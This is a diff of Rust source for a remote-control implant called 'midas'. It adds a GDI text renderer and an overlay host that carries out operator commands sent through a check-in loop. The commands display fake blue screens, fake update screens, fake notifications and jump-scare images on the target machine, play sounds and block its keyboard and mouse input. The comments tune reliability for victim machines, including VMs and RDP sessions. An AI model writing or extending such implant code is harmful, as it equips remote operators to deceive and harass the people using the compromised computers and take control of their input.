fn font_for(&mut self, style: Style) -> Option<HGDIOBJ> {
|
||||
let column = usize::from(style.monospace);
|
||||
let row = usize::from(style.bold);
|
||||
let slot = &mut self.fonts[column][row];
|
||||
|
||||
if let Some(font) = slot.as_ref() {
|
||||
if font.style.height == style.height {
|
||||
return Some(font.handle);
|
||||
}
|
||||
}
|
||||
|
||||
// The outgoing face may still be selected in the scratch DC, and deleting
|
||||
// a selected GDI object is not allowed, so put the stock font back first.
|
||||
unsafe { SelectObject(self.scratch.dc(), GetStockObject(DEFAULT_GUI_FONT)) };
|
||||
|
||||
let replacement = Font::new(style)?;
|
||||
let handle = replacement.handle;
|
||||
*slot = Some(replacement);
|
||||
|
||||
Some(handle)
|
||||
}
|
||||
|
||||
/// Advance width of `text` in pixels.
|
||||
pub fn measure(&mut self, text: &str, style: Style) -> i32 {
|
||||
if text.is_empty() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
let Some(handle) = self.font_for(style) else {
|
||||
return 0;
|
||||
};
|
||||
|
||||
let wide: Vec<u16> = text.encode_utf16().collect();
|
||||
let dc = self.scratch.dc();
|
||||
|
||||
unsafe {
|
||||
SelectObject(dc, handle);
|
||||
let mut size = SIZE { cx: 0, cy: 0 };
|
||||
if GetTextExtentPoint32W(dc, wide.as_ptr(), wide.len() as i32, &mut size) == 0 {
|
||||
return 0;
|
||||
}
|
||||
size.cx
|
||||
}
|
||||
}
|
||||
|
||||
/// Draws `text` with its top-left at `at`, returning true if anything was
|
||||
/// composited.
|
||||
///
|
||||
/// `at` is the top-left of the run's box, not of the first inked pixel: the
|
||||
/// face's leading and left side bearing sit inside it. That is the stable
|
||||
/// reference for a layout that positions text against a grid, and it is
|
||||
/// close enough to the ink origin that centring by measured width lands
|
||||
/// where it should.
|
||||
pub fn draw(
|
||||
&mut self,
|
||||
target: &mut Canvas,
|
||||
text: &str,
|
||||
at: (i32, i32),
|
||||
style: Style,
|
||||
colour: Rgba,
|
||||
) -> bool {
|
||||
if text.is_empty() {
|
||||
return false;
|
||||
}
|
||||
|
||||
let Some(handle) = self.font_for(style) else {
|
||||
return false;
|
||||
};
|
||||
|
||||
let wide: Vec<u16> = text.encode_utf16().collect();
|
||||
if wide.is_empty() {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Size the scratch to the run.
|
||||
let dc = self.scratch.dc();
|
||||
let (extent_w, extent_h) = unsafe {
|
||||
SelectObject(dc, handle);
|
||||
let mut size = SIZE { cx: 0, cy: 0 };
|
||||
let ok = GetTextExtentPoint32W(dc, wide.as_ptr(), wide.len() as i32, &mut size);
|
||||
(if ok == 0 { 0 } else { size.cx }, size.cy)
|
||||
};
|
||||
|
||||
if extent_w <= 0 || extent_h <= 0 {
|
||||
return false;
|
||||
}
|
||||
|
||||
let needed_w = extent_w + PAD * 2;
|
||||
let needed_h = extent_h + PAD * 2;
|
||||
|
||||
if self.scratch.width < needed_w || self.scratch.height < needed_h {
|
||||
self.scratch.release();
|
||||
match Canvas::new(needed_w, needed_h) {
|
||||
Some(canvas) => self.scratch = canvas,
|
||||
None => return false,
|
||||
}
|
||||
}
|
||||
|
||||
self.render_to_scratch(handle, &wide, colour);
|
||||
self.extract_mask(colour);
|
||||
|
||||
// The glyph was drawn `PAD` in from the scratch origin, so the mask is
|
||||
// offset back out by the same amount. Negative coordinates are fine:
|
||||
// `blit` clips to the canvas.
|
||||
target.blit(
|
||||
&self.mask,
|
||||
self.mask_w,
|
||||
self.mask_h,
|
||||
Rect::new(at.0 - PAD, at.1 - PAD, self.mask_w, self.mask_h),
|
||||
Fit::Exact,
|
||||
1.0,
|
||||
);
|
||||
|
||||
true
|
||||
}
|
||||
|
||||
/// Draws `text` horizontally centred on `centre_x`, with its top at `top`.
|
||||
pub fn draw_centred(
|
||||
&mut self,
|
||||
target: &mut Canvas,
|
||||
text: &str,
|
||||
centre_x: i32,
|
||||
top: i32,
|
||||
style: Style,
|
||||
colour: Rgba,
|
||||
) {
|
||||
let width = self.measure(text, style);
|
||||
self.draw(target, text, (centre_x - width / 2, top), style, colour);
|
||||
}
|
||||
|
||||
/// Draws `text` with its right edge at `right_x` and its top at `top`.
|
||||
pub fn draw_right(
|
||||
&mut self,
|
||||
target: &mut Canvas,
|
||||
text: &str,
|
||||
right_x: i32,
|
||||
top: i32,
|
||||
style: Style,
|
||||
colour: Rgba,
|
||||
) {
|
||||
let width = self.measure(text, style);
|
||||
self.draw(target, text, (right_x - width, top), style, colour);
|
||||
}
|
||||
|
||||
/// Draws the run over a cleared sentinel background and lets GDI do the
|
||||
/// antialiasing.
|
||||
fn render_to_scratch(&mut self, handle: HGDIOBJ, wide: &[u16], colour: Rgba) {
|
||||
self.scratch.wipe();
|
||||
self.scratch.fill(SENTINEL);
|
||||
|
||||
let dc = self.scratch.dc();
|
||||
unsafe {
|
||||
SelectObject(dc, handle);
|
||||
// An opaque background mode would repaint the whole run's bounding box
|
||||
// in the background colour; transparent mode leaves the sentinel fill
|
||||
// alone and only blends the glyph into it.
|
||||
SetBkMode(dc, TRANSPARENT);
|
||||
SetTextColor(dc, to_colorref(colour));
|
||||
TextOutW(dc, PAD, PAD, wide.as_ptr(), wide.len() as i32);
|
||||
}
|
||||
}
|
||||
|
||||
/// Turns the sentinel background into a straight-alpha glyph mask.
|
||||
///
|
||||
/// GDI mixed each pixel as `SENTINEL * (1 - c) + colour * c`, so solving for
|
||||
/// the coverage on the channel where the two differ most recovers `c`
|
||||
/// exactly, antialiasing included.
|
||||
fn extract_mask(&mut self, colour: Rgba) {
|
||||
let (w, h) = (self.scratch.width, self.scratch.height);
|
||||
self.mask_w = w;
|
||||
self.mask_h = h;
|
||||
|
||||
let needed = (w * h * 4) as usize;
|
||||
if self.mask.len() < needed {
|
||||
self.mask.resize(needed, 0);
|
||||
}
|
||||
|
||||
// Index of the channel with the longest distance to travel. The DIB is
|
||||
// BGRA, so the byte order is the reverse of `Rgba`.
|
||||
let sentinel = [SENTINEL.b, SENTINEL.g, SENTINEL.r];
|
||||
let target = [colour.b, colour.g, colour.r];
|
||||
|
||||
let mut channel = 0usize;
|
||||
let mut span = 0i32;
|
||||
for index in 0..3 {
|
||||
let distance = (target[index] as i32 - sentinel[index] as i32).abs();
|
||||
if distance > span {
|
||||
span = distance;
|
||||
channel = index;
|
||||
}
|
||||
}
|
||||
|
||||
// Only reachable if a painter asked for magenta text, which would be
|
||||
// invisible against the sentinel anyway. Nothing to recover.
|
||||
if span == 0 {
|
||||
self.mask[..needed].fill(0);
|
||||
return;
|
||||
}
|
||||
|
||||
let pixels = self.scratch.pixels();
|
||||
let from = sentinel[channel] as i32;
|
||||
|
||||
for index in 0..(w * h) as usize {
|
||||
let at = index * 4;
|
||||
let value = pixels[at + channel] as i32;
|
||||
|
||||
// Clamped rather than wrapped, so a stray colour outside the expected
|
||||
// ramp cannot alias into full coverage somewhere else on the glyph.
|
||||
let coverage = ((value - from) * 255 / span).clamp(0, 255) as u8;
|
||||
|
||||
self.mask[at] = colour.b;
|
||||
self.mask[at + 1] = colour.g;
|
||||
self.mask[at + 2] = colour.r;
|
||||
self.mask[at + 3] = coverage;
|
||||
}
|
||||
}
|
||||
|
||||
/// Greedy word wrap against real measured widths.
|
||||
///
|
||||
/// The strings involved are a notification title, a notification body and a
|
||||
/// desktop note, so the quadratic cost of re-measuring a candidate line is
|
||||
/// irrelevant next to getting the window sized to match what gets drawn.
|
||||
pub fn wrap(&mut self, text: &str, style: Style, max_width: i32) -> Vec<String> {
|
||||
let max_width = max_width.max(1);
|
||||
let mut lines: Vec<String> = Vec::new();
|
||||
let mut current = String::new();
|
||||
|
||||
for word in text.split_whitespace() {
|
||||
let candidate = if current.is_empty() {
|
||||
word.to_string()
|
||||
} else {
|
||||
format!("{current} {word}")
|
||||
};
|
||||
|
||||
if current.is_empty() || self.measure(&candidate, style) <= max_width {
|
||||
current = candidate;
|
||||
} else {
|
||||
lines.push(std::mem::take(&mut current));
|
||||
current = word.to_string();
|
||||
}
|
||||
}
|
||||
|
||||
if !current.is_empty() {
|
||||
lines.push(current);
|
||||
}
|
||||
|
||||
if lines.is_empty() {
|
||||
lines.push(String::new());
|
||||
}
|
||||
|
||||
lines
|
||||
}
|
||||
}
|
||||
|
||||
/// GDI stores colours as `0x00BBGGRR`, the reverse of how they are written here.
|
||||
fn to_colorref(colour: Rgba) -> COLORREF {
|
||||
(colour.r as u32) | ((colour.g as u32) << 8) | ((colour.b as u32) << 16)
|
||||
}
|
||||
834
implants/midas/src/gui/mod.rs
Normal file
834
implants/midas/src/gui/mod.rs
Normal file
@ -0,0 +1,834 @@
|
||||
//! Overlay host.
|
||||
//!
|
||||
//! ## Why one thread and many viewports
|
||||
//!
|
||||
//! winit permits exactly one `EventLoop` per process, and eframe wraps winit. So
|
||||
//! "spawn a thread per overlay, each with its own eframe window" cannot work -
|
||||
//! the second `run_native` would fail. The shape that does work is a single
|
||||
//! long-lived thread owning the one event loop, with each overlay created as an
|
||||
//! egui *viewport* from that one app.
|
||||
//!
|
||||
//! This is why overlays are dispatched rather than run inline. The Web UI gives
|
||||
//! a task 90 seconds (`TASK_TIMEOUT_MS` in `webui/assets/js/agents.js`), and
|
||||
//! Tombili executes `command.function(task)` on the check-in loop, so anything
|
||||
//! slow would stall check-ins and the console would report a timeout even though
|
||||
//! the overlay was working. Every visual command here returns an ack string
|
||||
//! immediately.
|
||||
//!
|
||||
//! Overlays are closed by a deadline checked in the app's `update`, and by a
|
||||
//! cancel token that `stop_all` sets from the check-in thread. The token is
|
||||
//! needed because a stop can race a request that has been queued but not yet
|
||||
//! picked up by the GUI thread; `STOP_EPOCH` covers that case by letting a
|
||||
//! request know it was submitted before the most recent stop and cancelling it
|
||||
//! the moment the GUI thread sees it.
|
||||
//!
|
||||
//! ## Two backends
|
||||
//!
|
||||
//! eframe needs a working OpenGL 3.2 implementation, and plenty of targets do
|
||||
//! not have one - a VM with 3D acceleration disabled, or an RDP session. There it
|
||||
//! fails during context creation, before the first frame, and it does so with a
|
||||
//! panic from inside glutin rather than an error worth reading. So eframe is
|
||||
//! tried first and the dependency-free GDI backend in `crate::gdi` second, and
|
||||
//! the choice is remembered for the life of the process so the dead one is not
|
||||
//! retried on every command. `host_status` reports which is live.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::mpsc::{self, Receiver, Sender};
|
||||
use std::sync::{Arc, Mutex, OnceLock};
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
|
||||
mod overlay;
|
||||
pub mod win;
|
||||
|
||||
/// What to draw. Mirrors the visual commands in `commands.rs`.
|
||||
///
|
||||
/// `Clone` because `submit` may have to build a second request when the backend
|
||||
/// it first chose turns out to be dead, and the `String`s are small and only
|
||||
/// copied on that path.
|
||||
#[derive(Clone)]
|
||||
pub enum Overlay {
|
||||
Image {
|
||||
path: String,
|
||||
mode: String,
|
||||
topmost: bool,
|
||||
},
|
||||
Scare {
|
||||
path: String,
|
||||
},
|
||||
Bsod {
|
||||
stopcode: String,
|
||||
percent: i64,
|
||||
},
|
||||
Update {
|
||||
title: String,
|
||||
percent: i64,
|
||||
},
|
||||
Toast {
|
||||
title: String,
|
||||
body: String,
|
||||
},
|
||||
Note {
|
||||
text: String,
|
||||
x: i64,
|
||||
y: i64,
|
||||
size: i64,
|
||||
},
|
||||
Spook {
|
||||
mode: String,
|
||||
},
|
||||
}
|
||||
|
||||
impl Overlay {
|
||||
/// Short name used in listings and ack strings.
|
||||
pub fn label(&self) -> &'static str {
|
||||
match self {
|
||||
Overlay::Image { .. } => "image",
|
||||
Overlay::Scare { .. } => "scare",
|
||||
Overlay::Bsod { .. } => "fakebsod",
|
||||
Overlay::Update { .. } => "fakeupdate",
|
||||
Overlay::Toast { .. } => "faketoast",
|
||||
Overlay::Note { .. } => "desktopnote",
|
||||
Overlay::Spook { .. } => "spook",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// A request handed to whichever backend is running.
|
||||
pub(crate) struct Request {
|
||||
pub id: u64,
|
||||
pub kind: Overlay,
|
||||
pub duration: Option<Duration>,
|
||||
pub cancel: Arc<AtomicBool>,
|
||||
pub epoch: u64,
|
||||
}
|
||||
|
||||
/// What the check-in thread can see about a running overlay. Owned by the GUI
|
||||
/// thread; the check-in thread only reads it and sets the cancel token.
|
||||
pub struct Active {
|
||||
pub id: u64,
|
||||
pub label: &'static str,
|
||||
pub born: SystemTime,
|
||||
pub deadline: Option<Instant>,
|
||||
pub cancel: Arc<AtomicBool>,
|
||||
}
|
||||
|
||||
static ACTIVE: OnceLock<Arc<Mutex<HashMap<u64, Active>>>> = OnceLock::new();
|
||||
static NEXT_ID: AtomicU64 = AtomicU64::new(1);
|
||||
static STOP_EPOCH: AtomicU64 = AtomicU64::new(0);
|
||||
|
||||
fn registry() -> &'static Arc<Mutex<HashMap<u64, Active>>> {
|
||||
ACTIVE.get_or_init(|| Arc::new(Mutex::new(HashMap::new())))
|
||||
}
|
||||
|
||||
/// The renderer an overlay host is using.
|
||||
#[derive(Clone, Copy, PartialEq, Eq, Debug)]
|
||||
enum Backend {
|
||||
/// `gui/overlay.rs`. Needs OpenGL 3.2, and looks the better of the two.
|
||||
Egui,
|
||||
/// `crate::gdi`. Needs nothing but GDI.
|
||||
Gdi,
|
||||
}
|
||||
|
||||
impl Backend {
|
||||
fn label(self) -> &'static str {
|
||||
match self {
|
||||
Backend::Egui => "eframe",
|
||||
Backend::Gdi => "gdi",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// How long a newly started backend is given to fail before it is called working.
|
||||
///
|
||||
/// The failure being guarded against happens during startup - eframe's OpenGL
|
||||
/// context is created before its first frame - so a thread still running after
|
||||
/// this window is one that got past it. Deliberately not long: a working host
|
||||
/// should not delay the operator's first prank, and the GDI backend is only
|
||||
/// reached once per process anyway.
|
||||
const STARTUP_PROBE: Duration = Duration::from_millis(300);
|
||||
|
||||
/// The channel to the overlay thread, plus the reason it is not usable.
|
||||
///
|
||||
/// A `Mutex<Option<..>>` rather than a `OnceLock`, deliberately. A backend can
|
||||
/// die for reasons that are nobody's fault, and a `OnceLock` cannot be
|
||||
/// re-initialised. One failure would then poison every overlay command for the
|
||||
/// life of the process with a message that named none of the cause. Bringing the
|
||||
/// thread back up is cheap, so it is done.
|
||||
struct Host {
|
||||
sender: Option<Sender<Request>>,
|
||||
/// Kept only so `is_finished` can be asked. A finished thread has dropped
|
||||
/// its `Receiver`, which is what turns every later `send` into a failure.
|
||||
handle: Option<std::thread::JoinHandle<()>>,
|
||||
backend: Option<Backend>,
|
||||
}
|
||||
|
||||
static HOST: OnceLock<Mutex<Host>> = OnceLock::new();
|
||||
|
||||
/// Why the last backend stopped, recorded by the dying thread.
|
||||
///
|
||||
/// Deliberately *not* inside `Host`. A backend that fails during startup does so
|
||||
/// on its own thread, and it has to be able to record why without waiting on the
|
||||
/// host lock - because `sender` holds that lock across the startup probe in
|
||||
/// order to see the thread die. A `Mutex<Option<String>>` rather than an
|
||||
/// `AtomicU64` index into a table, because the reason is a `String` and the whole
|
||||
/// point is to surface it.
|
||||
static FAILURE: Mutex<Option<String>> = Mutex::new(None);
|
||||
|
||||
/// Backends that have been found not to work on this target.
|
||||
///
|
||||
/// Not a single flag, because a backend that dies *after* it was reported as
|
||||
/// running has to be retired too - see `submit`. A `static` rather than a
|
||||
/// `OnceLock` because the only state is "never try this again", and both flags
|
||||
/// are read on the path of every visual command.
|
||||
struct Unusable {
|
||||
egui: AtomicBool,
|
||||
gdi: AtomicBool,
|
||||
}
|
||||
|
||||
static UNUSABLE: Unusable = Unusable {
|
||||
egui: AtomicBool::new(false),
|
||||
gdi: AtomicBool::new(false),
|
||||
};
|
||||
|
||||
impl Unusable {
|
||||
fn get(&self, backend: Backend) -> bool {
|
||||
match backend {
|
||||
Backend::Egui => self.egui.load(Ordering::Relaxed),
|
||||
Backend::Gdi => self.gdi.load(Ordering::Relaxed),
|
||||
}
|
||||
}
|
||||
|
||||
fn retire(&self, backend: Backend) {
|
||||
match backend {
|
||||
Backend::Egui => self.egui.store(true, Ordering::Relaxed),
|
||||
Backend::Gdi => self.gdi.store(true, Ordering::Relaxed),
|
||||
}
|
||||
}
|
||||
|
||||
/// The backends still worth trying, best first.
|
||||
///
|
||||
/// The retired one still appears, second, so that a target where both are
|
||||
/// dead gets a thread attempt and a real reason rather than the weaker
|
||||
/// "nothing is left to try". `sender` short-circuits that case.
|
||||
fn candidates(&self) -> [Backend; 2] {
|
||||
if self.get(Backend::Egui) {
|
||||
[Backend::Gdi, Backend::Egui]
|
||||
} else {
|
||||
[Backend::Egui, Backend::Gdi]
|
||||
}
|
||||
}
|
||||
|
||||
/// True once neither backend is worth starting.
|
||||
fn exhausted(&self) -> bool {
|
||||
self.get(Backend::Egui) && self.get(Backend::Gdi)
|
||||
}
|
||||
}
|
||||
|
||||
fn host() -> &'static Mutex<Host> {
|
||||
HOST.get_or_init(|| {
|
||||
Mutex::new(Host {
|
||||
sender: None,
|
||||
handle: None,
|
||||
backend: None,
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
/// Called by a backend's thread as it shuts down, so the check-in thread can
|
||||
/// report *why* rather than only that something went wrong.
|
||||
///
|
||||
/// Takes no host lock. See `FAILURE` for why that matters. Clearing the cached
|
||||
/// sender and handle is left to `sender`, which has to inspect them anyway and
|
||||
/// can see for itself that the thread is gone.
|
||||
pub(crate) fn record_host_failure(reason: String) {
|
||||
crate::log::log(&format!("overlay host stopped: {reason}"));
|
||||
|
||||
match FAILURE.lock() {
|
||||
Ok(mut failure) => *failure = Some(reason),
|
||||
Err(_) => return,
|
||||
}
|
||||
|
||||
// A backend's `on_exit`-equivalent only runs on a graceful shutdown, so a
|
||||
// failed or panicked host leaves its overlays behind as ghosts -
|
||||
// `listoverlays` would report them as running and `stopall` would count them.
|
||||
// Nothing is alive at this point, so clear them.
|
||||
if let Ok(mut active) = registry().lock() {
|
||||
active.clear();
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether an interactive desktop is reachable at all.
|
||||
///
|
||||
/// Without this the overlay thread starts, window creation fails, and the operator
|
||||
/// gets an opaque error from a command that otherwise looks fine.
|
||||
fn display_available() -> bool {
|
||||
crate::info::gui_available()
|
||||
}
|
||||
|
||||
/// The outcome of trying to start a backend.
|
||||
enum Started {
|
||||
Ready(Sender<Request>),
|
||||
Died(String),
|
||||
}
|
||||
|
||||
/// Starts a backend, or reports why it could not stay up.
|
||||
fn start(backend: Backend, entry: fn(Receiver<Request>)) -> Started {
|
||||
let (tx, rx) = mpsc::channel::<Request>();
|
||||
|
||||
// Stale, so a later failure is not reported alongside a fresh thread that is
|
||||
// working.
|
||||
if let Ok(mut failure) = FAILURE.lock() {
|
||||
*failure = None;
|
||||
}
|
||||
|
||||
let handle = std::thread::Builder::new()
|
||||
.name(format!("midas-{}", backend.label()))
|
||||
.spawn(move || entry(rx));
|
||||
|
||||
let handle = match handle {
|
||||
Ok(handle) => handle,
|
||||
Err(e) => {
|
||||
return Started::Died(format!("could not start the {} thread: {e}", backend.label()))
|
||||
}
|
||||
};
|
||||
|
||||
if !survives_startup(&handle) {
|
||||
return Started::Died(failure_reason().unwrap_or_else(|| {
|
||||
format!("the {} backend stopped during startup", backend.label())
|
||||
}));
|
||||
}
|
||||
|
||||
let Ok(mut host) = host().lock() else {
|
||||
return Started::Ready(tx);
|
||||
};
|
||||
|
||||
host.sender = Some(tx.clone());
|
||||
host.handle = Some(handle);
|
||||
host.backend = Some(backend);
|
||||
|
||||
Started::Ready(tx)
|
||||
}
|
||||
|
||||
/// Waits out `STARTUP_PROBE`, reporting whether the thread is still running.
|
||||
fn survives_startup(handle: &std::thread::JoinHandle<()>) -> bool {
|
||||
let deadline = Instant::now() + STARTUP_PROBE;
|
||||
|
||||
while Instant::now() < deadline {
|
||||
if handle.is_finished() {
|
||||
return false;
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(10));
|
||||
}
|
||||
|
||||
!handle.is_finished()
|
||||
}
|
||||
|
||||
fn failure_reason() -> Option<String> {
|
||||
FAILURE.lock().ok().and_then(|reason| reason.clone())
|
||||
}
|
||||
|
||||
/// Returns the sender of the running host, starting one if needed, and which
|
||||
/// backend it belongs to.
|
||||
///
|
||||
/// The backend comes back because a backend that turns out to be dead is only
|
||||
/// useful to the caller if the caller can retire it. See `submit`.
|
||||
///
|
||||
/// Liveness is asked rather than assumed. The cached sender outlives a dead
|
||||
/// thread, and sending on it only fails once an operator has already been told
|
||||
/// an overlay opened, so the check happens before the ack is produced.
|
||||
fn sender() -> Result<(Sender<Request>, Backend), String> {
|
||||
if !display_available() {
|
||||
return Err(
|
||||
"this session has no interactive desktop, so no window can be created".to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
{
|
||||
let Ok(mut host) = host().lock() else {
|
||||
return Err("overlay host state is poisoned".to_string());
|
||||
};
|
||||
|
||||
// A dead thread's cached sender is dropped here rather than discovered at
|
||||
// the send below, which would be after the operator had been told the
|
||||
// overlay opened.
|
||||
if host.handle.as_ref().is_some_and(|h| h.is_finished()) {
|
||||
host.sender = None;
|
||||
host.handle = None;
|
||||
host.backend = None;
|
||||
}
|
||||
|
||||
if let (Some(tx), Some(backend)) = (&host.sender, host.backend) {
|
||||
return Ok((tx.clone(), backend));
|
||||
}
|
||||
}
|
||||
|
||||
// The lock is deliberately released for the rest of this function. A backend
|
||||
// that fails while starting records the reason in `FAILURE` and then returns,
|
||||
// and it can only reach that return while `survives_startup` is watching for
|
||||
// the thread to end - which it cannot do if the thread is stuck waiting on a
|
||||
// lock this function is holding.
|
||||
if UNUSABLE.exhausted() {
|
||||
return Err(format!(
|
||||
"the overlay host is not running: {}",
|
||||
failure_reason().unwrap_or_else(|| "no backend is usable".to_string())
|
||||
));
|
||||
}
|
||||
|
||||
let mut last = String::new();
|
||||
|
||||
for backend in UNUSABLE.candidates() {
|
||||
match start(backend, entry_for(backend)) {
|
||||
Started::Ready(tx) => return Ok((tx, backend)),
|
||||
Started::Died(reason) => {
|
||||
crate::log::log(&format!(
|
||||
"{} overlay backend unavailable: {reason}",
|
||||
backend.label()
|
||||
));
|
||||
UNUSABLE.retire(backend);
|
||||
last = reason;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Err(format!("the overlay host is not running: {last}"))
|
||||
}
|
||||
|
||||
/// The thread entry point for a backend.
|
||||
fn entry_for(backend: Backend) -> fn(Receiver<Request>) {
|
||||
match backend {
|
||||
Backend::Egui => overlay::run,
|
||||
Backend::Gdi => crate::gdi::run,
|
||||
}
|
||||
}
|
||||
|
||||
fn submit(kind: Overlay, duration: Option<Duration>) -> Result<u64, String> {
|
||||
// One retry, and this is the part that makes the fallback reliable.
|
||||
//
|
||||
// `STARTUP_PROBE` is a guess at how long startup takes. When eframe finds no
|
||||
// OpenGL immediately the guess is generous enough and the retry never
|
||||
// happens - but software GL is slow, and a context that takes half a second
|
||||
// to fail looks alive to the probe. The probe then hands back a sender for a
|
||||
// thread that is already on its way out, and without a retry every later
|
||||
// command would start eframe again, watch it die again, and fail identically
|
||||
// - the fallback would never be reached at all, which is the exact situation
|
||||
// it exists for.
|
||||
//
|
||||
// Detecting the death on the send instead of trying to predict it costs one
|
||||
// attempt and has no window in which it can be wrong.
|
||||
let mut last = String::new();
|
||||
|
||||
for _ in 0..2 {
|
||||
let (tx, backend) = sender()?;
|
||||
|
||||
// Allocated per attempt rather than once, because a retry must be a
|
||||
// distinct overlay id - reusing the first would overwrite the registry
|
||||
// entry of an overlay that never opened.
|
||||
let id = NEXT_ID.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
let request = Request {
|
||||
id,
|
||||
kind: kind.clone(),
|
||||
duration,
|
||||
cancel: Arc::new(AtomicBool::new(false)),
|
||||
epoch: STOP_EPOCH.load(Ordering::Relaxed),
|
||||
};
|
||||
|
||||
if tx.send(request).is_ok() {
|
||||
return Ok(id);
|
||||
}
|
||||
|
||||
last = failure_reason().unwrap_or_else(|| {
|
||||
format!(
|
||||
"the {} backend stopped while the command was being sent",
|
||||
backend.label()
|
||||
)
|
||||
});
|
||||
crate::log::log(&format!("{last}; retiring it"));
|
||||
|
||||
UNUSABLE.retire(backend);
|
||||
forget_host(backend);
|
||||
}
|
||||
|
||||
Err(format!("the overlay host is not running: {last}"))
|
||||
}
|
||||
|
||||
/// Drops a retired backend's cached sender and handle.
|
||||
///
|
||||
/// Called on the failure path only, so the handle is detached rather than
|
||||
/// joined - joining would block the check-in loop for however long the thread
|
||||
/// takes to unwind, and there is nothing to collect.
|
||||
fn forget_host(backend: Backend) {
|
||||
if let Ok(mut host) = host().lock() {
|
||||
if host.backend == Some(backend) {
|
||||
host.sender = None;
|
||||
host.handle = None;
|
||||
host.backend = None;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether the overlay host is running, which backend it is, and if it is not
|
||||
/// running, why.
|
||||
///
|
||||
/// Surfaced by `sysinfo` so the situation is visible before a prank is sent
|
||||
/// rather than discovered from a task result.
|
||||
pub fn host_status() -> String {
|
||||
let mut status = match host().lock() {
|
||||
Ok(host) if host.handle.as_ref().is_some_and(|h| !h.is_finished()) => {
|
||||
let backend = host.backend.map(Backend::label).unwrap_or("unknown");
|
||||
format!("overlay host: running ({backend})")
|
||||
}
|
||||
// Dropped for the same reason `sender` drops it: the entry describes a
|
||||
// thread that no longer exists.
|
||||
Ok(mut host) => {
|
||||
if host.handle.as_ref().is_some_and(|h| h.is_finished()) {
|
||||
host.sender = None;
|
||||
host.handle = None;
|
||||
host.backend = None;
|
||||
}
|
||||
match failure_reason() {
|
||||
Some(reason) => format!("overlay host: not running - {reason}"),
|
||||
None => "overlay host: not started yet".to_string(),
|
||||
}
|
||||
}
|
||||
Err(_) => "overlay host: state is poisoned".to_string(),
|
||||
};
|
||||
|
||||
if UNUSABLE.get(Backend::Egui) {
|
||||
status.push_str("; eframe unavailable, using gdi");
|
||||
}
|
||||
|
||||
status
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Public surface used by commands.rs
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn open_image(
|
||||
path: &str,
|
||||
mode: &str,
|
||||
duration: Option<Duration>,
|
||||
topmost: bool,
|
||||
) -> Result<u64, String> {
|
||||
require_readable_file(path)?;
|
||||
|
||||
submit(
|
||||
Overlay::Image {
|
||||
path: path.to_string(),
|
||||
mode: mode.to_string(),
|
||||
topmost,
|
||||
},
|
||||
duration,
|
||||
)
|
||||
}
|
||||
|
||||
pub fn open_scare(path: &str, duration: Option<Duration>) -> Result<u64, String> {
|
||||
require_readable_file(path)?;
|
||||
|
||||
submit(
|
||||
Overlay::Scare {
|
||||
path: path.to_string(),
|
||||
},
|
||||
duration,
|
||||
)
|
||||
}
|
||||
|
||||
pub fn open_bsod(stopcode: &str, percent: i64, duration: Option<Duration>) -> Result<u64, String> {
|
||||
submit(
|
||||
Overlay::Bsod {
|
||||
stopcode: stopcode.to_string(),
|
||||
percent,
|
||||
},
|
||||
duration,
|
||||
)
|
||||
}
|
||||
|
||||
pub fn open_update(title: &str, percent: i64, duration: Option<Duration>) -> Result<u64, String> {
|
||||
submit(
|
||||
Overlay::Update {
|
||||
title: title.to_string(),
|
||||
percent,
|
||||
},
|
||||
duration,
|
||||
)
|
||||
}
|
||||
|
||||
pub fn open_toast(title: &str, body: &str, duration: Option<Duration>) -> Result<u64, String> {
|
||||
submit(
|
||||
Overlay::Toast {
|
||||
title: title.to_string(),
|
||||
body: body.to_string(),
|
||||
},
|
||||
duration,
|
||||
)
|
||||
}
|
||||
|
||||
pub fn open_note(
|
||||
text: &str,
|
||||
x: i64,
|
||||
y: i64,
|
||||
size: i64,
|
||||
duration: Option<Duration>,
|
||||
) -> Result<u64, String> {
|
||||
submit(
|
||||
Overlay::Note {
|
||||
text: text.to_string(),
|
||||
x,
|
||||
y,
|
||||
size,
|
||||
},
|
||||
duration,
|
||||
)
|
||||
}
|
||||
|
||||
pub fn open_spook(mode: &str, duration: Option<Duration>) -> Result<u64, String> {
|
||||
submit(
|
||||
Overlay::Spook {
|
||||
mode: mode.to_string(),
|
||||
},
|
||||
duration,
|
||||
)
|
||||
}
|
||||
|
||||
/// Cancels every overlay - including any that is still queued - ends sound, and
|
||||
/// releases any running input hold.
|
||||
///
|
||||
/// Returns how many overlays were running. A request submitted after this call
|
||||
/// is unaffected, which is what makes `stopall` usable as a cleanup step in
|
||||
/// front of a fresh prank.
|
||||
pub fn stop_all() -> usize {
|
||||
// Bumping the epoch first means a request submitted after this point is
|
||||
// unaffected, while anything queued before it is cancelled on arrival.
|
||||
STOP_EPOCH.fetch_add(1, Ordering::SeqCst);
|
||||
|
||||
// `PlaySoundW` has no process to kill and cannot be interrupted any other
|
||||
// way; re-issuing it with a null sound is the documented way to stop it.
|
||||
win::stop_sound();
|
||||
|
||||
// A continuous `lockinput` is unblocked here. It has to be: there is
|
||||
// nothing else that can end one, and input held until nothing can end it is
|
||||
// the one outcome `stopall` exists to prevent.
|
||||
release_input_lock();
|
||||
|
||||
let registry = registry();
|
||||
let Ok(active) = registry.lock() else {
|
||||
return 0;
|
||||
};
|
||||
|
||||
let count = active.len();
|
||||
for entry in active.values() {
|
||||
entry.cancel.store(true, Ordering::SeqCst);
|
||||
}
|
||||
count
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Input hold (`lockinput`)
|
||||
//
|
||||
// `BlockInput` is a single system-wide flag: there is no handle to whoever set
|
||||
// it, no way to ask who holds it, and clearing it clears it for everyone. So
|
||||
// holds are serialised by generation rather than by handing out and revoking
|
||||
